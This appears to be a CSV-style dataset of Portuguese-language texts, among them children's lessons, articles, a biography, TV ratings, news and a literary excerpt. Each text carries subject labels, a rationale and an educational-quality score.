Perguntas Frequentes +978-972-722-799-0 +Os descontos, promoções e campanhas apresentados são válidos para o dia 05-12-2022, salvo indicação em contrário. +Para conhecer a modalidade de redução de preço praticada, clique no ícone de desconto. +Os preços apresentados incluem IVA às taxas aplicadas em Portugal, sendo as mesmas ajustadas no carrinho de compras em função do país de entrega. FCA – Av. Praia da Vitória, 14 A – 1000-247 Lisboa - Portugal",original,original,original,original,4,0.8 +"O campo das Artes Cênicas explora as muitas formas de atuação, incluindo teatro, dança e música, tanto do ponto de vista acadêmico quanto técnico, proporcionando aos estudantes a oportunidade de desenvolver ainda mais o domínio e apreciação das artes.",original,original,original,original,4,0.8 +"NAC-JUSTICEIROS-A DELEGACIA ESPECIAL DO DEIC-O GAJ, GRUPO ANTI-JUSTICEIROS PRENDEU DOIS HOMENS QUE ATUAVAM NA PERIFERIA DE SAO PAULO COMO JUSTICEIROS UM DELES SEVERINO DOMINGOS DE OLIVEIRA CONFESSOU TER PARTICIPADO DA CHACINA DO GRAJAU EM ABRIL DE 1987",original,original,original,original,1,0.2 +"Olá, pessoal! Já pararam para pensar que a literatura é como uma viagem? Uma viagem sem sair do lugar, que nos leva a mundos incríveis, nos apresenta personagens fascinantes e nos faz refletir sobre a vida. Hoje, vamos embarcar numa aventura especial: desvendar a literatura brasileira! + +A literatura brasileira é como um grande baú cheio de tesouros. Nesses tesouros, encontramos histórias de todos os tipos: contos de fadas, poemas emocionantes, romances cheios de aventura e peças de teatro que nos fazem rir e chorar. Mas o que torna a literatura brasileira tão especial? É que ela conta a nossa história, a história do nosso país, do nosso povo, da nossa cultura. + +Um dos grandes nomes da nossa literatura é Machado de Assis. Já ouviram falar dele? Machado era um escritor genial, que sabia como ninguém contar histórias cheias de mistério e humor. Seus livros, como ""Dom Casmurro"" e ""Memórias Póstumas de Brás Cubas"", são verdadeiros clássicos e nos fazem pensar sobre a natureza humana, o amor, a inveja e a ambição. + +Outro autor importantíssimo é Monteiro Lobato. Quem não se lembra das aventuras de Narizinho, Pedrinho, Emília e Visconde de Sabugosa no Sítio do Picapau Amarelo? Lobato criou personagens inesquecíveis que povoam o imaginário de crianças e adultos. Ele usava a literatura para ensinar sobre a história do Brasil, a ciência, a cultura popular e a importância da leitura. + +A literatura brasileira também está presente nas músicas que ouvimos, nos filmes que assistimos e nas peças de teatro que vemos. Ela está nas letras de Chico Buarque, nas poesias de Cora Coralina, nas histórias de Jorge Amado. Está em todo lugar, esperando para ser descoberta. + +Mas como podemos aproveitar ao máximo essa aventura literária? Uma dica é começar lendo livros de autores brasileiros que falem sobre temas que nos interessam. Pode ser uma história de aventura, um romance, um livro de poemas ou uma peça de teatro. O importante é se deixar levar pela leitura e mergulhar no mundo que o autor criou. + +Outra dica é conversar com amigos e professores sobre os livros que lemos. Trocar ideias e opiniões é uma ótima maneira de aprofundar a nossa compreensão da obra e de aprender coisas novas. E que tal criar um clube de leitura na sua escola? Vocês podem escolher um livro por mês e se reunir para discutir sobre ele. + +A literatura brasileira é um tesouro que está ao alcance de todos. Basta abrir um livro e se deixar levar pela magia das palavras. Então, que tal começar essa aventura agora mesmo? Qual livro brasileiro você gostaria de ler? Quais personagens você gostaria de conhecer? A literatura está esperando por você!",Português,Literatura brasileira,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, introduzindo a literatura brasileira de forma convidativa para o público jovem. Menciona autores importantes como Machado de Assis e Monteiro Lobato, contextualizando suas obras e relevância cultural. Estimula a leitura e a discussão sobre livros, propondo atividades práticas como clubes de leitura. O texto é claro, consistente e adequado para o ensino fundamental, incentivando o interesse pela literatura nacional.",5,1.0 +"Sites disponibilizam documentos históricos e ferramentas que podem ser usadas em sala de aula. Basta saber trabalhá-los +Documentos históricos digitalizados circulam e multiplicam-se cada vez mais na internet. Até nas redes sociais, como o Facebook, é possível encontrar desde imagens da Constituição norte-americana até depoimentos de torturadores da época da ditadura brasileira. +Os grandes arquivos europeus e americanos lideram a disponibilização de imagens de documentos online. No site do Arquivo Nacional inglês encontra-se, de cara, um link no qual está escrito Education. Ele leva a opções de pesquisa por período – da alta Idade Média à contemporaneidade – ou por gênero, dando acesso a conteúdos em áudio e vídeo, além de jogos e oficinas que podem ser agendadas no Arquivo, e com as quais também se pode interagir online. Para os professores há muitos planos de aula disponíveis para download, pré-formatados por série, tema e indicação de relações com os parâmetros curriculares ingleses. +Os Teachers' Resources (Recursos para Professores) também têm lugar de destaque no site do Arquivo Nacional dos Estados Unidos. Ali estão disponíveis documentos interessantíssimos, como o da patente da lâmpada elétrica de Thomas Edison e um mapa de Londres no século XVII, após o famoso incêndio que destruiu parte da cidade. Somos seduzidos pelas imagens de documentos antes inacessíveis e um universo de possibilidades de ensino parece se abrir por meio das novas tecnologias de informação e comunicação. +Mas esse tipo de arquivo pode ser uma floresta impenetrável para os não iniciados. Não basta dizer aos estudantes: ""vão ao arquivo pesquisar"". Quase ninguém tem uma imagem clara de como fazê-lo: o que procurar, o que esperar encontrar, como chegar a bons resultados nessa empreitada. Ou do tempo que pode levar uma pesquisa documental. Estamos habituados a encontrar narrativas já produzidas, documentos selecionados, legendas prontas e descrições preparadas por um pesquisador. +Não é incomum, nos arquivos, a visita de alunos instruídos a pesquisar, por exemplo, ""a década de 60"". Essa ideia, que talvez fosse viável em uma pesquisa bibliográfica escolar, torna-se um recorte gigantesco em um arquivo, que pode ter milhares de documentos sobre o período. É fundamental que o professor selecione um recorte menor e, se possível, que especifique um conjunto de documentos passível de ser investigado pelos alunos, levando em conta seus conhecimentos prévios e o tempo que terão para a pesquisa. Um exemplo simples de recorte poderia ser de documentos relativos à censura da produção musical brasileira na primeira década do regime militar. +Ao navegarmos pelas séries documentais nos sites dos arquivos, nem sempre lembramos que aquelas já são seleções de documentos, e não todo o acervo. Ou seja, sempre há uma escolha e um recorte, a partir de conjuntos documentais ou de documentos avulsos, feitos pelo arquivo para expor online. E entre os documentos disponíveis, os mecanismos de busca internos fazem novos recortes a partir de palavras-chave: são os chamados ""metadados"", ligados a cada documento digitalizado. A seleção do conteúdo para publicação e seu tratamento arquivístico, com a inserção das palavras-chave, são decisivos para potencializar a experiência de ensino criada pela interação com o navegante-leitor. +Certa vez, uma professora me relatou sua frustração com uma pesquisa online no site de um grande arquivo paulista. Assim que a instituição digitalizou e publicou seu acervo documental do século XIX, ela criou uma atividade didática com seus alunos de ensino médio, incluindo uma pesquisa online nesse acervo relativa à escravidão em São Paulo. No site do arquivo, no campo de busca, seus alunos digitaram ""escravidão"" e aguardaram. A consulta retornou apenas três documentos. Intrigada e decepcionada, ela se perguntou: ""Será que praticamente não há registros da escravidão nesse acervo?"". +Dúvida semelhante deve estar na cabeça de muitos professores que se aventuram no...",original,original,original,original,5,1.0 +"Blog » Finanças Pessoais » O que é Hedge? Proteja seus investimentos como um profissional! +Isso porque não gostamos de ser pegos desprevenidos. A chance de ter que enfrentar eventos adversos nos deixa céticos. +No mercado financeiro também enfrentamos turbulência e se proteger contra isso é fundamental. +Imagine perder um carro que você nem terminou de pagar. A dor financeira e psicológica que isso causa. +No mundo dos investimentos o risco é inerente a todo processo e não é difícil acontecer de ter perdas. +Ora, no mercado financeiro também existem seguros que podem ser adquiridos. +São eles que chamamos de Hedge! +Hoje iremos falar de como “contratar” essa proteção. +Já deixo um alerta que o texto de hoje carrega um pouco mais de conteúdo técnico e talvez você precise ter um embasamento mais profundo de textos anteriores para entender bem o assunto. +Mesmo assim, se tiver qualquer dúvida no meio do caminho, pode nos chamar no chat, e-mail ou simplesmente deixar um comentário no final do texto! +Indo direto ao ponto, continue lendo para saber mais sobre: +Hedge é uma palavra em inglês que quer dizer algo como cerca ou barreira. No mercado financeiro, significa proteção. +Essa proteção é contra o chamado Risco Não Sistêmico, ou seja, aquele que não afeta todo o mercado e ela consiste simplesmente em reduzir eventuais perdas que você possa ter em seus investimentos caso algo fuja do planejado. +O hedge não precisa ser necessariamente feito pelo mercado de derivativos e pode ser feito também adquirindo ativos que são relacionados de forma inversa entre si. No entanto, os derivativos costumam ser largamente usados para hedge e por isso explicarei brevemente sobre esse mercado a seguir. +Derivativos são contratos que têm um ativo principal. Ou seja, um contrato que depende seu preço de um outro. +Por exemplo, existe um derivativo de taxa de juros que é o contrato de DI futuro. Esse contrato estabelece quanto será a taxa de juros no futuro (geralmente em alguns meses ou anos). +O que o Hedge faz, dessa forma, é utilizar de outros contratos para se proteger de oscilações de preço no investimento original. +A forma mais simples que eu penso em hedge são produtores da economia real que precisam vender produtos futuramente e logo querem se proteger contra oscilações de preço. +Por exemplo, imagine um produtor de cana de açúcar. A cana, como qualquer produto agrícola precisa ser plantada, colhida, ensacada e depois vendida. Ou seja, existe um tempo entre o momento que se decide plantar e o momento da venda. +Como a cana é um produto largamente exportado, a taxa de câmbio influencia muito a receita do agricultor. +A receita do agricultor seria de US$ 200,00, o que traduzindo para reais (o que importa, já que ele está no Brasil) daria R$ 800,00. +Agora imagine que a taxa de câmbio sofra uma apreciação e vá para R$ 3,00/US$. Agora a receita do produtor será de apenas R$ 600,00. +Perceba o quanto é importante a taxa de câmbio para ele. Ele precisa de alguma forma se proteger dessas oscilações. +Isso pode ser feito através do hedge cambial. Com esse mecanismo, esse agricultor consegue “travar” uma taxa de câmbio a que será vendida sua produção. Isso dá mais previsibilidade de receita para ele. +Essa “trava” da taxa de cambio é feita por, por exemplo, contratos futuros ou de opções, como veremos a seguir. +Como todo seguro, o Hedge também é pago. Dessa forma, ao se fazer um hedge, você abre mão de todo ganho possível mas está protegido. +Usei esse exemplo simples mas o hedge é largamente utilizado para qualquer investidor. +Para conhecer mais estratégias como o Hedge e ter investimentos ainda mais sofisticados, se inscreva abaixo e fique por dentro de todas as novidades do Mais Retorno: +Vamos ver os instrumentos pelos quais o Hedge pode ser feito e depois ver alguns exemplos. +O contrato futuro é uma forma mais direta de proteção. +Perceba que o hedge é feito na medida que se “trava” o preço daquilo que está sendo negociado (taxa de juros, cambio, preço de uma ação) no ...",original,original,original,original,3,0.6 +"Olá, pequenos cientistas! Já pararam para pensar em como o nosso corpo é fascinante? Ele é como uma máquina super potente e inteligente, capaz de fazer coisas incríveis todos os dias! Vamos embarcar em uma aventura para desvendar alguns segredos dessa máquina maravilhosa que é o nosso corpo? + +Imagine que o corpo é como uma casa. Para que a casa funcione bem, precisamos de diferentes cômodos, certo? No nosso corpo, esses cômodos são os sistemas, como o sistema digestório, o sistema respiratório e o sistema circulatório. Cada um tem uma função importantíssima! + +O sistema digestório é como a cozinha da nossa casa. Ele transforma os alimentos que comemos em energia para brincar, estudar e crescer. Já o sistema respiratório, com os nossos pulmões, é como a janela, que nos ajuda a respirar o ar fresquinho e limpo. E o sistema circulatório, com o coração bombeando o sangue, é como os encanamentos, levando tudo o que precisamos para todas as partes do corpo. + +E o que faz essa máquina funcionar sempre bem? Ah, aí entram os nossos hábitos saudáveis! Comer frutas e verduras coloridas, beber bastante água, fazer exercícios e dormir bem são como dar a manutenção necessária para que cada sistema funcione direitinho. Pense que, quando comemos muitos doces e não praticamos esportes, é como colocar areia dentro do motor da nossa máquina humana. Não é legal, né? + +Agora, que tal pensarmos juntos? O que acontece com o nosso corpo quando corremos? Quais alimentos nos dão mais energia para brincar? E como podemos cuidar ainda mais dessa máquina incrível que nos permite viver e aprender todos os dias? Cuidar do nosso corpo é como cuidar do nosso melhor amigo! Afinal, ele está sempre com a gente, nos acompanhando em todas as aventuras! + +Então, lembrem-se: o nosso corpo é uma máquina maravilhosa que precisa de cuidados e atenção. Ao entendermos como ele funciona e ao cultivarmos hábitos saudáveis, podemos viver vidas mais felizes e cheias de energia! Que tal começar hoje mesmo a cuidar ainda mais de você?",Ciências,Corpo humano e saúde,anos iniciais (1º ao 5º ano),"O trecho recebe a pontuação máxima por apresentar alto valor educacional e ser perfeitamente adequado para o ensino fundamental. Utiliza uma linguagem acessível e envolvente para introduzir conceitos sobre o corpo humano e seus sistemas, relacionando-os com hábitos saudáveis de forma clara e estimulante. A analogia do corpo como uma máquina e uma casa facilita a compreensão dos alunos, incentivando o cuidado com a saúde. As perguntas ao final promovem a reflexão e o aprendizado contínuo.",5,1.0 +"Costa, Cristóvão da (Costa, Christovam da; Acosta, Christobal; Acosta, Christophorous; Coste, Christophle de la) +Cabo Verde?, ca. 1525 — Burgos?, ca. 1594 +Palavras-chave: Cristóvão da Costa, Tratado das Drogas, matéria médica asiática, Índias Orientais, botânica do século XVI. +Médico e cirurgião quinhentista. Dado que assinou os seus tratados como “Christophorus Acosta Africanus”, assume-se que nasceu no continente africano. Não se conhecem, no entanto, evidências que permitam localizar o seu local de nascimento. As opiniões dos seus biógrafos dividem-se entre Tanger, Cabo Verde e Ceuta. A origem portuguesa parece ser evidenciada por Alõso Gonçalez de la Torre que no “Dialogo entre Fortuna y Fama al Autor Christoval Acosta” o designou de “valeroso Lusitano”. +Muito pouco se sabe sobre a sua juventude. Dos seus estudos, apenas se pode afirmar que cursou medicina e cirurgia. A sua fluência no idioma castelhano permite admitir que frequentou universidades espanholas. Partiu a 7 abril de 1568 para Oriente integrando, como físico e cirurgião, a armada de D. Luis de Ataíde, 10º Vice-rei da Índia (1568–1571) onde chegou em Outubro do mesmo ano. Permaneceu alguns anos na Índia, ao serviço do governante. Participou, como lhe competia no cargo que ocupava, nas campanhas militares. Tal como o licenciado Juan Costa referiu e o seu amigo Don Pedro Manrique sugeriu, o médico conheceu cativeiros e prisões. Estes dados não foram, até hoje, suportados por quaisquer elementos arquivísticos. No capítulo da pimenta, Costa testemunhou que o “capturaram no Malabar”. Ao longo do Tractado de las Drogas (Burgos, 1578) o físico contou algumas das suas deambulações pelo Oriente, nomeadamente a sua passagem pelos “bosques de Cangranor, junto ao rio Mangate”, a ida a Tanor ou as viagens às ilhas da costa ocidental da índia. Referiu ainda a sua “residência na cidade de Santa Cruz de Cochim” e testemunhou a sua actividade clínica no Hospital Real da cidade. Da permanência de Costa por terras orientais pouco mais se pode saber. Têm sido referidas peregrinações à longínqua China, à Pérsia, a Damasco, a Jerusalém ou ao Cairo. Das palavras do médico não foi possível, até hoje, estabelecer um percurso definitivo. A análise das gravuras que incluiu no Tratado de las Drogas pode ser uma ajuda preciosa para colmatar esta falta de dados. Plantas como as do cravinho ou a noz-moscada, provenientes das Molucas ou da Banda, não parecem testemunhar o mesmo realismo pictural que o tamarindo, a canela ou a árvore-triste. Podemos admitir que Costa nunca as viu nas ilhas de origem. Também o pau-de-maluco, “originário daquelas partes de Maluco”, que o médico contou ter-lhe sido apresentado por D. Luís de Ataíde no ano de 1571, parece evidenciar que Costa nunca viajou até este arquipélago. Já o facto de ter desenhado “como testemunha de vista” os duriões, frutos perecíveis e incapazes de suportar grandes viagens, nos leva a assumir a sua deslocação mais para Oriente, talvez até Malaca, região onde estes frutos abundam. Supõe-se que regressou ao Reino ao lado do Vice-Rei, que descreveu como sendo um “homem muito prudente e animoso”. Provavelmente testemunhou o ambiente festivo com que Lisboa acolheu D. Luís. As crónicas coevas atestam que foi com grande entusiasmo que a multidão encheu as ruas da cidade para acompanhar o governante, desde a sua chegada ao Tejo até à Igreja de S. Domingos. Ao certo sabe-se que em meados da década de 1570 vivia na Península Ibérica. Em Abril de 1576 assinou um contrato por três anos com a cidade de Burgos, que o acolheu como médico municipal. Nesta altura parece claro que Costa já dera provas do seu saber e da sua competência técnica. Admite-se que a decisão da instalação em Burgos terá decorrido rapidamente entre Julho de 1572 e finais de 1575. As razões da translação geográfica de Lisboa para Castela, continuam por clarificar. Mas não restam dúvidas que os seus conhecimentos e a sua perícia clínica foram notórios já que, em 1581, Costa viu o seu...",original,original,original,original,3,0.6 +"A RTP1 transmitiu pelas 15 horas e em direto o jogo que qualificou o Japão para a fase seguinte da competição. Mesmo saindo derrotada, a seleção asiática passou aos oitavos-de-final do Mundial através do fator de desempate “Fair-Play”. A vitória da já eliminada Polónia por um zero foi vista por mais de 950 mil portugueses e teve uma audiência média de 365 mil telespectadores, ou seja, cerca de 22.4% dos telespectadores que estavam a assistir televisão no lar. +O jogo foi transmitido em simultâneo na Sport TV2 e registou uma audiência média de 6 mil telespectadores, a que correspondeu um share de 0.4%. +Período do jogo RTP1: +Audiência Total(#): 979 mil +Audiência Média(#): 365 mil +Audiência Média(%): 3.8 +Share(%): 22.4 +Período do jogo Sport TV2: +Audiência Total(#): 48 mil +Audiência Média(#): 6 mil +Audiência Média(%): 0.1 +Share(%): 0.4 +Veja aqui o ranking de jogos mais vistos do Mundial 2018 +Elaborado por Insight / IPG Mediabrands sobre dados CAEM/GfK reproduzidos em Mediamonitor - MMW, Telereport; Base: FTA+PayTV; Alvo: Universo (4+ anos) +Tipologia de audiência: visionamento em Direto +MINUTO-A-MINUTO: RTP1 +Analisando o minuto-a-minuto da partida Japão x Polónia, de referir que embora a tendência das audiências fosse de crescimento até ao final da primeira parte, esta sofreu algumas oscilações, tendo registado uma audiência média de 291 mil telespectadores. Na segunda parte, os portugueses mostraram um maior interesse pelo jogo, notado no aumento da audiência média (451 mil telespectadores) e do share (28.5%). Mais uma vez, o pico de audiências registado nesta partida esteve em linha com a maioria dos jogos transmitidos em sinal aberto, tendo sido atingido já perto do final da transmissão do programa (501 mil telespectadores). +Elaborado por Insight / IPG Mediabrands sobre dados CAEM/GfK reproduzidos em Mediamonitor - MMW, Telereport; Base: FTA+PayTV; Alvo: Universo (4+ anos) +Tipologia de audiência: visionamento em Direto +PERFIL JOGOS VS POPULAÇÃO: RTP1 +O perfil do telespectador português neste jogo está em linha com os restantes jogos transmitidos em sinal aberto, sendo a sua maioria masculino e com idade superior, com mais de 65 anos e de classe social média. +Elaborado por Insight / IPG Mediabrands sobre dados CAEM/GfK reproduzidos em Mediamonitor - MMW, Telereport; Base: FTA+PayTV; Alvo: Universo (4+ anos)",original,original,original,original,1,0.2 +"Textos - Teses - Swellynha +Páginas : 244 (60778 palavras ) +Recordações do Escrivão Isaías Caminha, de Lima Barreto Fonte: BARRETO, Lima. Recordações do Escrivão Isaías Caminha. São Paulo: Ática, 1995. (Bom Livro). Texto proveniente de: A Biblioteca Virtual do Estudante Brasileiro A Escola do Futuro da Universidade de São Paulo Permitido o uso apenas para fins educacionais. Este material pode ser redistribuído livremente, desde que não seja alterado, eque as informações acima sejam mantidas. Para maiores informações, escreva para . Estamos em busca de patrocinadores e voluntários para nos ajudar a manter este projeto. Se você quer ajudar de alguma forma, mande um e-mail para e saiba como isso é possível. +A tristeza, a compreensão e a desigualdade de nível mental do meu meio familiar,agiram sobre mim de modo curioso: deram-me anseios de inteligência. Meu pai, que era fortemente inteligente e ilustrado, em começo, na minha primeira infância, estimulou-me pela obscuridade de suas exortações. Eu não tinha ainda entrado para o colégio, quando uma vez me disse: Você sabe que nasceu quando Napoleão ganhou a batalha de Marengo? Arregalei os olhos e perguntei: quem era Napoleão? Umgrande homem, um grande general... E não disse mais nada. Encostou-se à cadeira e continuou a ler o livro. Afastei-me sem entrar na significação de suas palavras; contudo, a entonação de voz, o gesto e o olhar ficaram-me eternamente. Um grande homem!... O espetáculo do saber de meu pai, realçado pela ignorância de minha mãe e de outros parentes dela, surgiu aos meus olhos de criança, como umdeslumbramento. Pareceu-me então que aquela sua faculdade de explicar tudo, aquele seu desembaraço de linguagem, a sua capacidade de ler línguas diversas e compreendê-las constituíam, não só uma razão de ser de felicidade, de abundância e riqueza, mas também um titulo para o superior respeito dos homens e para a superior consideração de toda a gente. Sabendo, ficávamos de alguma maneira sagrados,deificados... Se minha mãe me parecia triste e humilde — pensava eu naquele tempo — era porque não sabia, como meu pai, dizer os nomes das estrelas do céu e explicar a natureza da chuva... Foi com estes sentimentos que entrei para o curso primário. Dediquei-me açodadamente ao estudo. Brilhei, e com o tempo foram-se desdobrando as minhas primitivas noções sobre o saber. Acentuaram-se-me tendências;pus-me a colimar glórias extraordinárias, sem lhes avaliar ao certo a significação e a utilidade. Houve na minha alma um tumultuar de desejos, de aspirações indefinidas. Para mim era como se o mundo me estivesse esperando para continuar a evoluir... Ouvia uma tentadora sibila falar-me, a toda a hora e a todo o instante, na minha glória futura. Agia desordenadamente e sentia a incoerência dos meus atos,mas esperava que o preenchimento final do meu destino me explicasse cabalmente. Veio-me a pose, a necessidade de +ser diferente. Relaxei-me no vestuário e era preciso que minha mãe me repreendesse para que eu fosse mais zeloso. Fugia aos brinquedos, evitava os grandes grupos, punha-me só com um ou dois, à parte, no recreio do colégio; lá vinha um dia, porém, que brincava doidamente,apaixonadamente. Causava com isso espanto aos camaradas: Oh! O Isaías brincando! Vai chover... A minha energia no estudo não diminuiu com os anos, como era de esperar; cresceu sempre progressivamente. A professora admirou-me e começou a simpatizar comigo. De si para si (suspeito eu hoje), ela imaginou que lhe passava pelas mãos um gênio. Correspondi-lhe à afeição com tanta força d'alma, que tive ciúmesdela, dos seus olhos azuis e dos seus cabelos castanhos, quando se casou. Tinha eu então dois anos de escola e doze de idade. Daí a um ano, sai do colégio, dando-me ela, como recordação, um exemplar do Poder da Vontade, luxuosamente encadernado, com uma dedicatória afetuosa e lisonjeira. Foi o meu livro de cabeceira. Li-o sempre com mão diurna e noturna, durante o meu curso secundário, de cujos... +Choque cultural entre ...",original,original,original,original,4,0.8 +"A História das Línguas pretende, e consegue, dar uma visão global da vida e da mecânica das línguas, desde os primórdios da humanidade até conjeturas sobre futuros distantes. +O que acontece com as línguas está ligado diretamente com as pessoas e as sociedades que as falam porque as línguas são, afinal, realidades sociais. Partindo deste pressuposto, a obra examina como as línguas aparecem, mudam e, por vezes, desaparecem. a obra inclui processos gerais como também capítulos temáticos onde se analisam línguas em concreto: chinês, grego, latim, português, norueguês, inglês... +Acrescente-se que tudo está temperado com o melhor estilo divulgador para alimento das pessoas curiosas. +ISBN: 9788416545216 Ano de edição ou reimpressão: 09-2018 Editor: Através Editora Idioma: Português Dimensões: 165 x 234 x 19 mm Encadernação: Capa dura Páginas: 320 Tipo de Produto: Livro Classificação Temática: Livros > Livros em Português > Literatura > Linguística e Filologia +Tore Janson (1936, Estocolmo) é um linguista e professor sueco. +Janson foi professor de latim na Universidade de Gotemburgo e mais tarde tornou-se professor de línguas africanas. +É afiliado ao Departamento de Linguística da Universidade de Estocolmo. +Um dos seus grandes focos de investigação é a maneira como as línguas mudam e as relações entre a língua e a sociedade. +De facto, é autor dos super-vendas Speak: a Short History of Languages e A Natural History of Latin.(...)",original,original,original,original,4,0.8 +"Prefeituras de todo o País podem fechar as portas em protesto contra crise +Quarta, 29 de Janeiro de 2014 - 07:06:05 +Willams Araújo +Divulgação +Prefeitos de todo o País estão sendo aconselhados a fechar as portas das prefeituras no dia 11 de abril em sinal de protesto contra a situação atual vivida pelos municípios. +A convocação está sendo feita pelo presidente da CNM (Confederação Nacional de Municípios), Paulo Ziulkoski, como primeira mobilização nacional contra a crise. +Essa, segundo ele, é a primeira importante decisão tomada pelo Conselho Político da CNM, que confirma uma Mobilização Permanente para o dia 11 de abril. +""Nesta data, está previsto que as prefeituras fecharão as portas e os prefeitos levarão servidores e munícipes até as capitais de cada Estado"", diz trecho de nota divulgada pela Confederação, da qual a Assomasul (Associação dos Municípios de Mato Grosso do Sul) é filiada. +A recomendação é que às entidades estaduais organizem o movimento com o apoio das associações microrregionais de municípios. +""O objetivo da paralisação é denunciar a situação que os municípios brasileiros enfrentam de igual maneira"", explicou Paulo Ziulkoski. Segundo ele, a meta é levar ao menos um ônibus de cada região. +Apesar de ainda não ter se pronunciado sobre a paralisação, o presidente da Assomasul, Douglas Figueiredo (PSDB), alertou no começo do ano em relação ao prejuízo iminente que os municípios deverão enfrentar este ano em decorrência das medidas econômicas reeditadas pela presidente Dilma Rousseff. +O presidente da Assomasul se refere às concessões de incentivos fiscais do governo federal que devem continuar subtraindo os repasses do FPM (Fundo de Participação dos Municípios) mês a mês. +Em nota oficial divulgada no site da entidade, Douglas defendeu novas mobilizações nacionais como forma de pressionar o Congresso Nacional a aprovar as matérias de interesse dos municípios que ficaram pendentes, entre as quais, a PEC (Proposta de Emenda Constitucional)39/13, que aumenta em 2% o FPM. +""2013 foi de extrema dificuldade por conta do encolhimento das receitas municipais, as prefeituras foram prejudicadas em decorrência de vários fatores. A redução do IPI (Imposto sobre Produtos Industrializados) teve reflexo negativo nas finanças públicas, porque o tributo compõe o FPM juntamente com o Imposto de Renda"", observou Douglas. +Ele se refere a medidas econômicas adotadas pela presidente Dilma para incentivar, entre outros setores, a indústria automotiva e aos produtos da chamada linha branca. +Outra queixa do dirigente é que os municípios assumiram muitas atribuições na área social por conta dos programas do governo, que não foram corrigidos suficientemente para que se possa cumprir essa atenção ao cidadão. +Para o presidente da Assomasul, além de alguns avanços de ordem estrutural e da apreciação de novas reivindicações municipalistas, o ideal seria a aprovação de novo pacto federativo a partir da distribuição justa do bolo tributário nacional. +""A esmagadora maioria dos prefeitos brasileiros não pode sobreviver apenas de obrigações, pagando a conta com percentuais acima do limite constitucional"", sugeriu Douglas, que passou 2013 entre Campo Grande e Brasília participando de reuniões com a bancada federal e percorrendo ministérios em busca de apoio para os municípios sul-mato-grossenses. +Em sua avaliação, os prefeitos não precisam de ""pacotes de bondades"", mas de uma política tributária adequada que contemple de maneira igualitária todos os entes federados.",original,original,original,original,2,0.4 +"Segurança sempre é um tema em pauta quando se discute os problemas de uma comunidade. O desafio de combater a criminalidade fica cada dia mais difícil para a polícia, que enfrenta problemas como baixo efetivo diante de um número grande de ocorrências a serem atendidas. Em Blumenau, por exemplo, o 10º Batalhão da Polícia Militar (BPM) conta com aproximadamente 250 soldados, o que representa uma média de um PM para cada 1.400 habitantes. +Hoje, comunidades que queiram participar ativamente da manutenção da segurança em suas localidades podem participar do programa Rede de Vizinhos da Polícia Militar. Por meio da interação entre moradores de uma rua, é possível estruturar um sistema de vigilância, segundo Nicolas Vasconcelos, tenente da PM em Blumenau. “As pessoas passam a ter um olhar mais atento ao vizinho e à rua. Assim, atitudes suspeitas são rapidamente repassadas e, se for confirmado o andamento de um crime, a Polícia Militar consegue intervir”, explica. +Além de proporcionar um maior contato entre moradores e a criação de laços de amizade entre vizinhos, a Rede também facilita o trabalho da PM, que consegue “estar presente” em mais regiões da cidade. Atualmente, o programa atende cerca de 530 ruas, mobilizando diretamente 8 mil pessoas, em que cada uma representa uma residência atendida. +Uma dessas ruas é a de Ivan, de 41 anos, morador do bairro Itoupava Norte, e membro da Rede há cerca de um ano. “Quando a gente entrou em contato com a PM, porque estávamos tendo problemas com tráfico de drogas aqui na rua, recebemos todo apoio da polícia e instrução sobre como lidar com essas situações”, relata. Segundo Ivan, usuários vinham comprar entorpecentes no local. Por conta disso, muitos deles acabavam monitorando as casas à procura de objetos para furtar. Após a chegada do programa, o traficante foi capturado e depois o local ficou tranquilo. “Eu tinha vizinho que eu nem sabia o nome, então a rua ficou bem mais unida com o programa”, conta o morador da Itoupava Norte. +Desde então não houve mais casos de tráfico ou furto na localidade, mas o tenente Nicolas relembra um caso no qual moradores conseguiram impedir um crime em andamento: “um vizinho pertencente ao programa identificou que na casa ao lado havia uma movimentação estranha, mas os moradores estavam fora. Ele entrou em contato com a Polícia Militar e nós prendemos dois indivíduos no momento em que eles estavam furtando diversos objetos”, lembra. +Segundo estimativas do 10º BPM, 95% das ruas onde o Rede de Vizinhos é instalado não há registro de incidentes após a implantação do programa. +INFOGRÁFICO +O futuro da segurança +Com dificuldades para atender a demanda de ocorrências nas cidades, as forças de segurança tendem a usar cada vez mais o sistema de vigilâncias comunitárias. É o que aponta o professor especialista em segurança pública e privada, Jonas Alves da Silva. “O Rede de Vizinhos é extremamente eficiente. A integração de sistemas vem ajudando, mas a sociedade tem que compreender que a segurança é coletiva e todos têm que participar. Não é apenas jogar o trabalho para a polícia”, argumenta. +O professor também defende que há um interesse da polícia em trazer a comunidade para dentro das corporações porque o estado sozinho não vai conseguir solucionar a questão segurança pública. Além disso, mesmo programas, como o Rede de Vizinhos, têm suas falhas, como aponta o próprio tenente Nicolas. “É claro que, como em qualquer programa de prevenção, nós não conseguimos impedir de forma absoluta a prática do crime, mas inibe e dificulta, principalmente pela sensação transmitida ao mal intencionado. Primeiro pelas placas e pelo olhar vigilante dos moradores”, aponta. +A ideia do batalhão é estender cada vez mais essa rede. Entretanto, há um limite para atendimento dessas demandas, por conta do efetivo reduzido.",original,original,original,original,4,0.8 +"Tenho dito. Dixit. Não é bem assim. Digo agora: Dissinto e discrepo de não dissentir e discrepar. Una toma de posición. Para que se quede en las nubes. +Curto +Hesito em associar ou não o poema ao vídeo da música que o inspirou, além das árvores e da Praça do Sol. Mas, diabos, penso, de que serve o negócio virtual. Não publico em papel. Nem idade tenho pra autofinanciar livretos de poemeus. +Cidinha +Alguns versos de um poema na sua hora. Nasceu num setembro, de sensações há muito grávidas: “Mãezinha memoriosa e retorcida, guardai-nos/ Das dores do acaso, do ocaso e dos rasos onde/ Nadamos, transitórios, entre uma noite e outra./ Estrelas do oratório no fundo azul-Giotto/ Clareai o breu no meu coração. Oremos.” +Desafinado +O poema ficou meio perdido nas fragmentárias edições da Jurupoca. Transposto aqui num espaço próprio, prepara reativação deste diário de viagem. Pra semana. +JU_109 | Queimão da Amazônia na Amazon +Potências ocidentais cobiçam our Amazon, notre y unsere Amazone? Que aproveitem o maior queimão da Terra, só neste Prime Day. Não têm que pagar nada, ô potências ocidentais, e ainda levam um toco, leia-se troco de um Bol$onaro, dobrão de ouro forjado no mais legítimo garimpo ilegal. É arrematar e arremeter. Frete grátis na Amazon. Afinal de que serve o foguete do Musk Amigão? Bolsonaro pro espaço! for good e pra já! +JU_108 | O filisteu no paraíso com IPhone +Todos somos geniais nas redes por 15 segundos. Os eleitos das mídias-redentoras-dos-pecados-do-mundo são geniais o tempo todo +JU_107 | Um país desNorteado e tremebundo +O Brasil perdeu a Amazônia para uma vasta súcia que só falta 